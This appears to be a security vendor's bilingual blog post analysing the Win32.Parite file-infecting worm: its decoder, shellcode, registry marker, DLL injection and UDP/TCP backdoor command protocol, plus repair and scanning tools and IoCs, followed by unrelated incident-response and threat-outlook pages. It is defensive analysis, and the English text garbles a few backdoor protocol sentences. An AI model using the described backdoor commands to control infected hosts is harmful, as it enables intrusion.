>The incident response team of TeamT5 discovered a worm virus named Win32.Parite during an incident investigation. In the incident, the executable file in the victim host was infected by Win32.Parite. The infected host could spread to other execution files and wait for the attacker to connect; if the connection succeeds, the attacker can perform various communication and data collection behaviors on the infected host, which will have a profound impact.

>In this blog, we provide a detailed analysis of the worm virus and develop a scanning program with instructions on how to remove it, to help companies improve their cybersecurity defenses. We also urge companies that are still using 32-bit operating systems (e.g. WinXP/2003/7) to use scanning programs to scan their internal network systems.


#Basic Information of Malware Win32.Parite 
![how-to-detect-and-recover-from-virus-win32-parite_pic1.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic1.png)
Image source: VirusTotal

#Malware Analysis
##Win32.Parite: Shellcode

TeamT5 obtained the malicious file. We use Stud_PE to observe. There is a section named .heb, and the program entry point is pointed to this section. The characteristic of the Win32.Parite virus is that it inserts itself in the last section whose name is a random combination of letters.

![how-to-detect-and-recover-from-virus-win32-parite_pic2.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic2.png)

 

The entry point is a small decoder. The edx in the temporary register is the operation value of xor decoding, while esi is the address of the encoded data, and edi is the size of the encoded data. 

When decoding, the operation is 4 bytes at a time, and the range of all addresses is 0x43502E+4~0x43502E+0x59C, because the method of [push/pop] dword ptr [esi+edi] is used, so the target address of xor here will be is [esp].

![how-to-detect-and-recover-from-virus-win32-parite_pic3.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic3.png)

 

After understanding the above, you can use 010 Editor to do the XOR operation. After unpacking, there is a piece of shellcode.

![how-to-detect-and-recover-from-virus-win32-parite_pic4.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic4.png)

![how-to-detect-and-recover-from-virus-win32-parite_pic5.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic5.png)


 

What is interesting is that this worm virus also has a deformation function . Observing the three infected files, we found that the shellcode commands are different, but the purpose is the same. They all aim to obtain the decoded value, encoded address, and size of encoded data.

![how-to-detect-and-recover-from-virus-win32-parite_pic6.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic6.png)

 

After decoding, continue to analyze the shellcode. The first group of instructions after unlocking is a call, followed by a Parite custom structure. The interesting thing is that the original entry point is protected by an encoded program.

![how-to-detect-and-recover-from-virus-win32-parite_pic7.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic7.png)

 

The main program of Shellcode has only a few functions:
- GetDeclareAPI: Obtain the API address when needed and store it in the Stack.
- RegQuery_PINF: Query whether the PINF code exists, and the content is stored in the path of the virus body.
- Call_DLL_Initiate: Call “Initiate” in the main program DLL, which contains the original entry point for unlocking the EXE.
- Drop_DLL_File: If the PINF doesn't exist, it will drop the virus body (DLL) and create the key value of a PINF login file.


![how-to-detect-and-recover-from-virus-win32-parite_pic8.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic8.png)


 

Shellcode obtains some necessary Windows APIs through GetDeclareAPI(sub_435254), and then queries the PINF key value located in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer through RegQuery_PINF(sub_435360).

![how-to-detect-and-recover-from-virus-win32-parite_pic9.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic9.png)

 

In the infected host, it can be seen that the value of PINF is \x09\x00, where 9 is the virus version, separated by \x00, and then followed by the DLL path.

![how-to-detect-and-recover-from-virus-win32-parite_pic10.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic10.png)

 

If the key exists and the value of the first 2 bytes is greater than or equal to 9, the shellcode will load the DLL module of the virus body through Call_DLL_Initate (sub_4353C8), and use GetProcAddress to obtain the address of the Initiate function. Then, it passes in the configuration address of 000435032 and jumps into execution.

![how-to-detect-and-recover-from-virus-win32-parite_pic11.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic11.png)
 

If the key value does not exist, the shellcode will decode the virus body (DLL) at the back through Drop_DLL_File (sub_435400) and throw it out. Then, it executes Call_DLL_Initate (sub_4353C8) to load the DLL module of the virus body.

![how-to-detect-and-recover-from-virus-win32-parite_pic12.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic12.png)

 

The offset address and file size (Size) of the DLL, as well as the encoded XOR key, can be seen in the configuration.

![how-to-detect-and-recover-from-virus-win32-parite_pic13.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic13.png)

 

In the Drop_DLL_File(sub_435400) function, the Decoder_Content(sub_4355A0) function will be called, and the content is encoded and decoded using xor dword.

![how-to-detect-and-recover-from-virus-win32-parite_pic14.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic14.png)


#Win32.Parite: Virus Body
The decoded DLL is packed with UPX, and the main virus module itself is written in Delphi. Line 23 of the exported Initiate function has a function to decode the original entry point (OEP).

![how-to-detect-and-recover-from-virus-win32-parite_pic15.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic15.png)

 

The program code in the Decode_OEP(sub_4022BC) function mainly obtains the two array addresses of 43504D and 43506E in the configuration block. It performs calculations through the sub_40232C function to generate a value of 16 bytes, which is divided into 4 groups of DWORD values, and The encoded OEP is XORed four times. The final result is the original OEP. With OEP, the infected PE execution file can be successfully repaired.

![how-to-detect-and-recover-from-virus-win32-parite_pic16.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic16.png)

 

Then, use SetWindowsHookExA to set a global hook to inject the DLL into all handlers.

![how-to-detect-and-recover-from-virus-win32-parite_pic17.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic17.png)


 

When the injected handler is explorer.exe, Win32.Parite will start to execute the behavior of the worm.

![how-to-detect-and-recover-from-virus-win32-parite_pic18.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic18.png)

 

#Win32.Parite: Backdoor Functionality
In the program code in the virus main DLL, you can see a piece of interesting code. Win32.Parite supports backdoor function. The backdoor uses UDP protocol to send commands. The result of the report will be sent back to the UDP 30168 communication port of the controlling terminal. When uploading data, it is necessary to monitor the TCP 30169 communication port on the controlling terminal and wait for the controlled terminal to actively connect, and then the data content can be uploaded.

![how-to-detect-and-recover-from-virus-win32-parite_pic19.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic19.png)

 

##Report Information to the Host
The controlling terminal sends out the characters of "e" to the UDP 30167 communication port of the controlled end.

![how-to-detect-and-recover-from-virus-win32-parite_pic20.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic20.png)

 

The controlled terminal will report the host information to the UDP 30168 communication port of the control terminal.

![how-to-detect-and-recover-from-virus-win32-parite_pic21.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic21.png)

##Execute Commands
The controlling terminal will report the host information to the UDP 30168 communication port of the control terminal.


![how-to-detect-and-recover-from-virus-win32-parite_pic22.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic22.png)

 

When the command is successfully executed, the controlled end will return the character "g", followed by the string of Done.

![how-to-detect-and-recover-from-virus-win32-parite_pic23.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic23.png)


##Upload Files
The controlled terminal sends out the character z, followed by the file name, and finally ends with \x00, and the file will be stored in the %WINDIR% folder.

![how-to-detect-and-recover-from-virus-win32-parite_pic24.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic24.png)

 

The control terminal listens to the TCP 30169 communication port, and waits for the content of the data that can be sent after the successful connection of the controlled terminal. After the connection is terminated, the data will be written into the file.

![how-to-detect-and-recover-from-virus-win32-parite_pic25.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic25.png)

The control terminal listens to the TCP 30169 communication port, and waits for the content of the data that can be sent after the successful connection of the controlled terminal. After the connection is terminated, the data will be written into the file.

- Add 1 Section 
- The original entry point (OEP) is pointed to the Section where the last virus is located
- The image file (Image) loaded into the memory becomes larger
- Modified the properties of .rdata
- Added new virus section


![how-to-detect-and-recover-from-virus-win32-parite_pic26.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic26.png)

 

In the file comparison, there are two places that were last modified, namely C600 and E9F8.

![how-to-detect-and-recover-from-virus-win32-parite_pic27.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic27.png)

 

You can see that these two places are actually the first two functions of kernel32.dll in Import Tables. Because the infected file did not write its own Shellcode to fetch the API, it relies on inserting LoadLibraryA and GetProcAddress in the import table to ensure that it is included in the Shellcode. These two functions can be used normally to obtain the API to be used, and it will be restored when the Shellcode is executed.

![how-to-detect-and-recover-from-virus-win32-parite_pic28.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic28.png)


#Detox Program
After knowing what has changed in the infected file, we can write a detox program to repair the infected file. The detox program basically does the following:


Checks if the entry point falls on the last section with a section name of .<random 3 character>
Read the operation value of xor decoding, the address of the encoded data and the size of the encoded data
Decode and read the configuration of Parite
Decode original entry point
Number of sections minus 1
Size of image minus the virtual size of the last section
delete the last section header
Modify the attributes of the .rdata section
Repair introduction table


##Instructions

```Usage: fix.exe <file or directory>```
![how-to-detect-and-recover-from-virus-win32-parite_pic29.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic29.png)

 

##Test
```> fix.exe setupSrv.exe```

![how-to-detect-and-recover-from-virus-win32-parite_pic30.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic30.png)

 

The repaired archives will be in the same path, with the archive name ```_clean``` ending with . Looking at the repaired file, you can see that the last infected section and entry point (ep) have been fixed.

![how-to-detect-and-recover-from-virus-win32-parite_pic31.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic31.png)

#Check if the Host is Compromised

We understand that when the control end sends the character e to the UDP 30167 communication port of the controlled end, the controlled end will report the host information to the UDP 30168 communication port of the control end. 

Therefore, we can use this point to develop a scanning program to send e characters to the intranet host and monitor the UDP 30168 communication port on the sending end to wait for the return information.

#Scanner

##Instructions

```Usage: scan.exe iplist```

![how-to-detect-and-recover-from-virus-win32-parite_pic32.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic32.png)

##Test
```
> scan.exe 127.0.0.1
> scan.exe 192.168.0.0/16
```

![how-to-detect-and-recover-from-virus-win32-parite_pic33.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic33.png)

#Download the Scanner Tool
[Link of source zip file](https://bit.ly/3YShkZK)
 

#IoC

|** file name** | **md5** | **compiler-stamp (UTC) ** | **type** |
| ------------ | -------------------------------- | ----------------------- | ---- |
| setupSrv.exe | c5e7e7007b7ea6a3361fea7d4b029859 | 2009-12-04 13:35:59 UTC | EXE |
| cft3B18.tmp |fe763c2d71419352141c77c310e600d2 | 2001-10-11 12:01:58 UTC | DLL |


 
 
>Know more about us: https://teamt5.org/en/about-us/

 

###Reference
[BlackBerry Cylance vs. Parite Polymorphic File Infector](https://blogs.blackberry.com/en/2019/08/blackberry-cylance-vs-parite-polymorphic-file-infector)

In-Depth Analysis and Scanning Program of the Worm Malware Win32.Parite

>TeamT5 資安事件應變團隊(Incident Response Team) 在某次事件調查中，發現受害主機中的執行檔遭受一款名為 Win32.Parite 的蠕蟲惡意程式感染。
受到感染的主機，會散播至其他執行檔並等待攻擊者連線；若連線成功後，攻擊者可在受感染的主機上執行各種通訊和數據收集行為，影響甚深。

>我們於本文詳細分析該惡意程式，也開發掃描程式與說明解毒方式，協助企業提升資安防禦能量。
我們並呼籲尚在使用 WinXP/2003/7 等32位元作業系統的組織、企業，建議可以使用掃瞄程式來掃內網系統。

#惡意程式 Win32.Parite 基本資訊
![how-to-detect-and-recover-from-virus-win32-parite_pic1.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic1.png)
圖片來源: VirusTotal

#惡意程式分析
##Win32.Parite - Shellcode
TeamT5 取得惡意檔案，可以使用 Stud_PE 觀察，可以看到節區(Sections)裡面多了一個名稱為.heb節區，並且程式進入點(Entry Point)被指向該節區。Win32.Parite病毒的特徵，就是會將自己插入在最後一個節區，該節區名稱是隨機的字母組合。

![how-to-detect-and-recover-from-virus-win32-parite_pic2.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic2.png)

 

進入點是一段小小的解碼程式(Decoder)，暫存器中的edx為xor解碼的運算數值，而esi為編碼資料的位址，edi為編碼資料的大小。解碼時，運算一次為4 bytes，全部處裡的範圍是0x43502E+4~0x43502E+0x59C，因為使用[push/pop] dword ptr [esi+edi]的手法，所以這裡的xor的目標位址才會是[esp]。

![how-to-detect-and-recover-from-virus-win32-parite_pic3.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic3.png)

 

在理解了上述的組語後，可以使用010 Editor來做XOR的運算。解開後可以發現是一段shellcode的程式碼。
![how-to-detect-and-recover-from-virus-win32-parite_pic4.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic4.png)

![how-to-detect-and-recover-from-virus-win32-parite_pic5.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic5.png)


 

有趣的是此蠕蟲惡意程式也有變形的功能，觀察三個被感染的檔案，從中發現到shellcode的指令都不一樣，但目的都是相同的，都是要取得解碼的運算數值、編碼資料的位址與編碼資料的大小。
![how-to-detect-and-recover-from-virus-win32-parite_pic6.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic6.png)

 

解碼後，繼續分析shellcode程式碼，解開後的第一個組語的指令是一個call，下面緊接著是一個Parite自訂義的結構，裡面比較有趣的是原程式的進入點(OEP)是被編碼保護起來的。
![how-to-detect-and-recover-from-virus-win32-parite_pic7.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic7.png)

 

Shellcode的主程式的功能僅有幾項：

- GetDeclareAPI：取得要時用的API位址存於Stack
- RegQuery_PINF：查詢PINF機碼是否存在，內容存放病毒主體路徑
- Call_DLL_Initiate：呼叫主程式DLL中的Initiate，裡面包含解開EXE原始進入點
- Drop_DLL_File：如果PINF不存在時，會丟出病毒主體(DLL)及建立PINF登入檔機碼數值

![how-to-detect-and-recover-from-virus-win32-parite_pic8.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic8.png)


 

Shellcode透過GetDeclareAPI(sub_435254)取得一些必要的Windows API後，接著透過RegQuery_PINF(sub_435360)查詢位於HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer的PINF鍵值。

![how-to-detect-and-recover-from-virus-win32-parite_pic9.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic9.png)

 

在被感染的機器中可以看到PINF的數值內容是\x09\x00，這地方的9為病毒版本，以\x00分隔，後再接DLL路徑。

![how-to-detect-and-recover-from-virus-win32-parite_pic10.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic10.png)

 

若該鍵值存在並且前2 bytes的數值大於等於9，shellcode會透過Call_DLL_Initate(sub_4353C8)載入病毒主體的DLL模組，並使用GetProcAddress取得Initiate函數位址，傳入000435032的組態位址後並且跳入執行。

![how-to-detect-and-recover-from-virus-win32-parite_pic11.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic11.png)
 

若該鍵值不存在，shellcode則會透過Drop_DLL_File(sub_435400)將位在後方的病毒主體(DLL)解碼後丟出來，接著執行Call_DLL_Initate(sub_4353C8)載入病毒主體的DLL模組。
![how-to-detect-and-recover-from-virus-win32-parite_pic12.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic12.png)

 

而DLL的偏移位址(Offset)及檔案大小(Size)，還有編碼的XOR key，都可以在組態中看到。
![how-to-detect-and-recover-from-virus-win32-parite_pic13.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic13.png)

 

在Drop_DLL_File(sub_435400)函數裡面會呼叫Decoder_Content(sub_4355A0)函數，其內容是使用xor dword進行編解碼。
![how-to-detect-and-recover-from-virus-win32-parite_pic14.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic14.png)


#Win32.Parite - 病毒主體
解碼出來的DLL使用UPX加殼，病毒主體模組本身是使用Delphi所撰寫，所導出的Initiate函數第23行有一個解碼原始進入點(OEP)的函數。
![how-to-detect-and-recover-from-virus-win32-parite_pic15.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic15.png)

 

Decode_OEP(sub_4022BC)函數中的程式碼，主要是取得組態區塊中的43504D、43506E的二個陣列位址，經由sub_40232C函數進行運算，產生出16 bytes的數值，拆成4組DWORD值，與被編碼的OEP進行四次的XOR運算，最後的結果為原始OEP，有了OEP就能順利的修復被感染的PE執行檔。

![how-to-detect-and-recover-from-virus-win32-parite_pic16.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic16.png)

 

接著使用SetWindowsHookExA設置全局鉤子，將DLL注入所有處理程序中。
![how-to-detect-and-recover-from-virus-win32-parite_pic17.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic17.png)


 

當被注入的處理程序為explorer.exe時，Win32.Parite則會開始執行蠕蟲的行為。

![how-to-detect-and-recover-from-virus-win32-parite_pic18.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic18.png)

 

#Win32.Parite - 後門功能
在病毒主體DLL中的程式碼，可以看到一段有興趣的程式碼，Win32.Parite支援後門功能，後門利用UDP協議來發送指令，被控制端會監聽UDP 30167通訊埠等待接收指令，被控制端回報之結果會回傳到控制端的UDP 30168通訊埠，需要上傳資料時，則需要在控制端上監聽TCP 30169通訊埠，等待被控制端主動連線，此時就能上傳資料內容。

![how-to-detect-and-recover-from-virus-win32-parite_pic19.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic19.png)

 

##回報主機資訊
控制端發送出e的字元到被控制端的UDP 30167通訊埠。
![how-to-detect-and-recover-from-virus-win32-parite_pic20.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic20.png)

 

被控制端會回報主機資訊到控制端的UDP 30168通訊埠。
![how-to-detect-and-recover-from-virus-win32-parite_pic21.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic21.png)

##執行指令
控制端發送出y的字元，接著DWORD值，1是顯示在畫面中，0是隱藏在背景中執行，隨後跟著要下達的指令(可接參數)，最後以\x00結尾。

![how-to-detect-and-recover-from-virus-win32-parite_pic22.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic22.png)

 

當指令成功被執行後，被控制端會回傳g字元，後面接上Done的字串。
![how-to-detect-and-recover-from-virus-win32-parite_pic23.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic23.png)


##上傳檔案
控制端發送出z的字元，接著檔案名稱，最後以\x00結尾，該檔案會被存放在%WINDIR%資料夾下。
![how-to-detect-and-recover-from-virus-win32-parite_pic24.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic24.png)

 

控制端監聽TCP 30169通訊埠，等待被控制端連線成功後之後便可以傳送的資料內容，結束連線後，資料將被寫入到檔案裡面。
![how-to-detect-and-recover-from-virus-win32-parite_pic25.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic25.png)

#修復被感染的檔案
##被感染的檔案差異
這裡分析一下被感染後的執行檔有什麼變化：

- Section數多1
- 原始進入點(OEP)被指向最後一個病毒所在的Section
- 載入記憶體的映像檔(Image)變大
- 修改了.rdata的屬性
- 新增了新的病毒節區

![how-to-detect-and-recover-from-virus-win32-parite_pic26.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic26.png)

 

檔案比對中，還有最後被修改的二個地方，分別為C600、E9F8。
![how-to-detect-and-recover-from-virus-win32-parite_pic27.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic27.png)

 

可以看到這二個地方，其實是Import Tables中kernel32.dll的前二個函數，感染後的檔案因為沒寫自己取API的Shellcode，因此靠著在導入表中插入LoadLibraryA，GetProcAddress來確保Shellcode中能正常使用此二個函數取得要用的API，在執行Shellcode時會將其還原。

![how-to-detect-and-recover-from-virus-win32-parite_pic28.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic28.png)


#解毒程式
在了解被感染的檔案有什麼改變之後，我們便可以撰寫解毒程式來修復被感染的檔案。
解毒程式基本上做了以下的事情：

1. 檢查進入點是否落在最後一個節區，且節區名稱為 .<random 3 character>
2. 讀取xor解碼的運算數值、編碼資料的位址與編碼資料的大小
3. 解碼並讀取Parite的組態
4. 解碼原始進入點(oep)
5. NumberOfSections減1
6. SizeOfImage減最後一個節區的虛擬大小
7. 刪除最後一個節區頭
8. 修改.rdata節區的屬性
9. 修復導入表

##使用方法

```Usage: fix.exe <file or directory>```
![how-to-detect-and-recover-from-virus-win32-parite_pic29.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic29.png)

 

##測試
```> fix.exe setupSrv.exe```

![how-to-detect-and-recover-from-virus-win32-parite_pic30.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic30.png)

 

修復好的檔案會在同樣路徑，檔案名稱以```_clean```結尾。
查看修復的檔案，可以看到最後一個被感染的節區與進入點(ep)都已經修正。
![how-to-detect-and-recover-from-virus-win32-parite_pic31.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic31.png)

#檢查主機是否受害
我們了解當控制端發送出e的字元到被控制端的UDP 30167通訊埠後，被控制端會回報主機資訊到控制端的UDP 30168通訊埠。
因此我們可以利用這點開發一個掃描程式，對內網主機傳送e的字元並在發送端監聽UDP 30168通訊埠等待回傳資訊。

#掃描程式
##使用方法
```Usage: scan.exe iplist```

![how-to-detect-and-recover-from-virus-win32-parite_pic32.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic32.png)

##測試
```
> scan.exe 127.0.0.1
> scan.exe 192.168.0.0/16
```

![how-to-detect-and-recover-from-virus-win32-parite_pic33.png](https://uploads.teamt5.org/upload/original/how-to-detect-and-recover-from-virus-win32-parite_pic33.png)

#掃描程式工具下載點
[原始碼壓縮檔連結](https://bit.ly/3YShkZK)
 

#IoC

|** file name** | **md5** | **compiler-stamp (UTC) ** | **type** |
| ------------ | -------------------------------- | ----------------------- | ---- |
| setupSrv.exe | c5e7e7007b7ea6a3361fea7d4b029859 | 2009-12-04 13:35:59 UTC | EXE |
| cft3B18.tmp |fe763c2d71419352141c77c310e600d2 | 2001-10-11 12:01:58 UTC | DLL |


 

>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。

>若您有資安事件處理、應變的需求，歡迎填寫諮詢表單: https://teamt5.org/tw/request-information/

 

###參考資料
[BlackBerry Cylance vs. Parite Polymorphic File Infector](https://blogs.blackberry.com/en/2019/08/blackberry-cylance-vs-parite-polymorphic-file-infector)

蠕蟲惡意程式 Win32.Parite 深度分析與掃描程式

Technical Analysis

When enterprises face cyber attacks, it’s important for enterprises to take proper actions and lower the negative impacts. By collaborating with the incident response team, the enterprise can get back to the right track sooner. More than that, the incident response team can find out the cause of the cyber attack and deal with root problems in order to avoid further losses & attacks.

##Steps to Respond Cyber Attacks
Incident response experts from TeamT5 suggest enterprises to take below steps in order to better deal with cyber attacks.

###1.Find the Cyber Attack’ Intrusion Path from (Incomplete) Log
Most attackers will delete the log to cover up their intrusion behavior and steps. Therefore, the incident response team must try their best to find undeleted records in the incomplete log and analyze the attacker's intrusion path.


###2. Investigate and Find the Cyber Attack’s Timeline & Path
Incident response experts can conduct the whole picture of the incident by going through logs. To fully understand the cyber attack, it requires the expert to analyze and come up with a report on the timing, path, and process of the cyber attack.

To be more specific, incident response experts can help enterprises to get a more clear picture on which system is breaked by the certain device(s), what vulnerabilities are being used, how long the system has been compromised, what data has been stolen, etc.

###3. Bring Enterprise Operation to Normal
Incident response experts should have tech abilities to help enterprises to block the attackers’ intrusion path. By deleting backdoors created by attackers, this can prevent attackers from using the same backdoor and sneaking into the system again.

###4. Provide Comprehensive Cybersecurity Governance Suggestions to Enterprises
Technology is evolving everyday so are attack methods. Only by continuing to carry out good enterprise cybersecurity governance can enterprises enhance their cybersecurity resilience. 

To complete the response and handling of cyber incidents, it is important to have experienced top experts to provide comprehensive cybersecurity planning & execution suggestions for the enterprise.

Suggestions include but not limited to network segmentation, update to latest version of system (attackers can directly intrude through zero-day vulnerabilities), and strengthening intranet defenses (for example, many companies use the same set of passwords for intranet services while the two-stage authentication mechanism/2FA is not adopted, this will allow the attacker to quickly get access to all systems and grasp all the information of the enterprise).


##Conclusion

Today's commercial activities and enterprise operations rely heavily on information technology systems. If cyber attacks or major cybersecurity incidents occur, daily operations will be greatly affected. 

It is recommended that enterprises seek the assistance of a professional incident response team to participate in the analysis and investigation of cybersecurity incidents and system recovery operations. With the help of a professional cybersecurity incident response team, enterprises can effectively avoid further losses and quickly return to the right track of operation.

 
 

>With solid technical background and frontline expertise, TeamT5’s incident response team provides an in-depth investigation and response to real-world cyber-attacks. We identify and research the intruder attacks, the impact and technical cause of the incidents, and recommend solutions or workarounds to assist our clients in recovery and remediation.

If you have needs for incident response, please contact us: https://teamt5.org/tw/request-information/

What To Do When Cyber Attacks Happened?

企業、組織遭受資安攻擊事件後，不宜慌張，建議聯絡專業的資安事件應變(incident response, IR)團隊，進行下列應變步驟，不僅協助企業恢復營運，更可找出資安事件發生原因、解決問題，避免往後遭受再次攻擊。

##資安事件應變步驟
TeamT5 杜浦數位安全專業團隊建議資安事件發生後的應變步驟：

###1.從殘缺的 log 中找到入侵脈絡
多數攻擊者會刪除 log，掩飾其入侵行為與步驟。因此資安事件應變人員須盡可能在殘缺的 log 中，尋找未被刪除的紀錄，以便分析出攻擊者的入侵脈絡。

###2. 找出攻擊者入侵的時間點、路徑
資安事件應變人員透過 log 紀錄，逐步還原、建立入侵事件的樣貌，包含入侵的時間點、入侵的手法、入侵的過程等。
具體來說，透過逐步的調查與分析，資安事件應變人員協助企業釐清系統是從哪台機器被侵入，是透過哪個漏洞被侵入，乃至系統被入侵多久時間、哪些資料被攻擊者偷走等細節。

###3. 恢復企業正常營運
資安事件應變人員宜具有完整的技術能力，協助企業封鎖攻擊者的入侵路徑，透過刪除攻擊者埋的後門，避免攻擊者使用同個後門、再次進入系統。更可進一步協助企業將系統重新上線，恢復正常營運。

###4. 提供整體企業資安治理建議
技術日新月異，攻擊手法千變萬化，唯有持續進行良好的企業資安規劃，才能增強企業資安韌性。
完成資安事件應變與處理，更宜有經驗豐富的頂尖專家針對企業資安治理層次，提供全方面的建議，減少下次發生入侵事件的機率。資安治理建議包含做好網路區隔、系統使用的套件未即時更新(攻擊者可透過零日漏洞，直接侵入)、增強內網防禦(如: 許多企業的內網服務使用同組密碼，且未採用二階段驗證機制/2FA，若攻擊者掌握其中一組密碼、進一步即可掌握各系統的密碼與權限，攻擊者藉此可快速獲取企業全部資料)。


##結語
現今商業活動、企業營運十分仰賴資訊系統，若遭受網路攻擊、發生重大資安事件，將大幅影響日常營運。建議企業組織可尋求專業的資安事件應變團隊協助，參與資安事件分析調查與系統恢復作業，能有效避免進一步的損失，快速回到營運正軌。

 
 

>TeamT5 杜浦數位安全團隊長期研究與解析駭客族群入侵行為，具備第一線國內外資安事件處理的豐富經驗。當資安事件發生，我們可快速完成受駭現場與歷史軌跡的綜整分析，發掘攻擊者的入侵過程與手法，提供事件處理的深入分析及建議，協助您復原與改善資安環境。

若您有資安事件處理、應變的需求，歡迎填寫諮詢表單: https://teamt5.org/tw/request-information/

 
 
*首圖來源: [Pexels](https://www.pexels.com/)

遭受網路攻擊怎麼辦? 

Products & Services

Businesses, government organisations, and communities and societies, enter 2023 facing severe economic headwinds, conflict and rising geopolitical tensions, growing social polarisation and technology-enabled changes to the way people work, consume and socialise. This turbulence provides rich opportunities for attackers to exploit weaknesses in critical infrastructure, corporate and government networks and systems holding personally identifiable information (PII), account passwords and other sensitive data. Illicit access to systems and data enables these groups or individuals to disrupt water, power or other utilities; purloin intellectual property; empty bank accounts; steal personal identities; or conduct a range of other hostile activities. 

At TeamT5, we anticipate the following developments this year:

##The continued rise of state-sponsored APT groups
The Asia-Pacific region is experiencing increasing turbulence due largely to rising tensions between the United States and China. This friction means state-sponsored Advanced Persistent Threat (APT) groups present a potent threat to stability in the APAC region. Unlike cybercriminals who are typically incentivised by personal gain, state-sponsored APT groups are politically motivated and target intelligence that serves the interests of the governments or authorities that direct them. 

